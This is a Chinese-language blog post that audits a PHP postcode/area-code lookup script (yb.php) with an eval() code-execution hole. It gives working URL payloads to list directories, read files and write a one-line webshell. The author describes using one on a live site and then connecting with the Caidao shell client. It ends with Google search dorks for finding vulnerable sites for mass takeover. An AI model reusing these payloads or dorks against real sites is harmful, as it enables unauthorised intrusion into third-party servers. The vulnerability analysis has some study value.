0x0 前言
今天在幽灵网安看文章,看见一个站长工具源码泄露批量拿站的文章,里面附了一POC,于是想在前人的肩膀上自己做一次审计!附上原文地址:http://bbs.wghostk.com/hacker-3734-1-1.html
0x1 先通过poc拿到shell,然后下载含漏洞的源码
http://www.admintony.top/yb/yb.php?q=${@exit(var_dump(file_put_contents($_GET[n],$_GET[d])))}&d=www.admintony.top测试&n=./tony.txt
返回这个页面,说明写入成功!
访问看看:
直接对传递的d参数和n参数进行修改,就可以直接写入一句话了!
菜刀连接,并下载漏洞代码yb.php
0x3 开始审计:
漏洞出现在yb.php的这一段:
$q = trim($_GET['q']); //关键词-->去掉参数前后的空格,然后将参数转化成字符型 $page = intval($_GET['p']); //页数,-->将页面转换成数字型 if($page==0) $page = 1; $r_num = 0; //结果个数 $p_num = 40; //每页结果的数据条数 $result = ""; $shengpy = array('B','T','H','S','N','L','J','H','S','J','Z','A','F','J','S','H','H','H','G','G','H','C','S','G','Y','X','S','G','Q','N','X','X','A','T'); $sheng = array('北京','天津','河北','山西','内蒙古','辽宁','吉林','黑龙江','上海','江苏','浙江','安徽','福建','江西','山东','湖南','湖北','河南','广东','广西','海南','重庆','四川','贵州','云南','西藏','陕西','甘肃','青海','宁夏','新疆','香港','澳门','台湾'); if($q){ if (!@file_exists($keydb)){ $dreamdb = file("pc.dat");//读取区号文件 $count = count($dreamdb);//计算行数 for($i=0; $i<$count; $i++) { $keyword = explode(" ",$q);//拆分关键字--->以空格为拆分标志,并将拆分后的字符存放于数组 $dreamcount = count($keyword);//关键字个数 $detail = explode("/t",$dreamdb[$i]); for ($ai=0; $ai<$dreamcount; $ai++){ switch ($_GET['w']){ case "sheng": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[0]/");");break; case "diqu": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[1]/");");break; case "shi": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[2]/");");break; case "cun": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[3]/");");break; case "youbian": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[4]/");");break; case "quhao": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[5]/");");break; default: @eval("/$found = eregi(/"$keyword[$ai]/",/"$dreamdb[$i]/");");break; }
1.参数源码对q传递来的参数没有过滤,导致我们的代码可以被传递过来!
2.代码执行漏洞出现位置:
@eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[0]/");");break;
追寻keyword[$ai],可以看出keyword是对q参数以空格为界限进行拆分的结果!
如果这里我们q参数传递来为${@exit(print_r(scandir($_GET[d])))}
那么语句就变成:
@eval("/$found = eregi(/"${@exit(print_r(scandir($_GET[d])))}/",/"$detail[0]/");");break;
双引号中的内容会先进行php解析,如果不是php函数,就当作字符串,这里我们传递来的字符就被执行了,然后,我们在url中添加的d这个参数就会被接受,如果d中存放:../,那么我们遍历目录的效果就达到了!
再分析写入shell的poc:
${@exit(var_dump(file_put_contents($_GET[n],$_GET[d])))}&d=www.admintony.top测试&n=./xin.txt
这句poc的意思就是:把d和n的参数传递过来,d是内容,n是文件名,然后file_put_contents函数就将d传递来的内容,写入n传递来的文件里面,返回值为d的字符串长度!var_dump就是返回类型和内容!exit($tony)–>打印tony并退出!这样我们根据判断返回的数字和我们一句话长度的对比就可以判断一句话是否写入成功了!
0x4 POC
利用方法: 扫描整站文件:?q=${@exit(print_r(scandir($_GET[d])))}&d=../ 读取指定文件:?q=${@exit(print_r(file($_GET[d])))}&d=../index.php 写入一句话:?q=${@exit(var_dump(file_put_contents($_GET[n],$_GET[d])))}&d=www.xssec.org测试&n=./xin.txt 一句话地址为:http://www.admintony.top/yb/xin.txt(自己改写入一句话的路径)
0x5 批量关键字
关键词:
inurl:yb/yb.php
intitle:站长工具网
intitle:实用查询工具
inurl:yb/youbian.php
inurl:yb/youbian
inurl:yb/index.php
出现以下内容的页面:
如查询“湖南省”,请输入“湖南”,支持邮编或区号反查地理位置
查询省名、市名、县名、村名的时候请去掉省市县村后缀
转载请注明:AdminTony's Blog » 站长工具源码出现代码执行漏洞导致批量拿站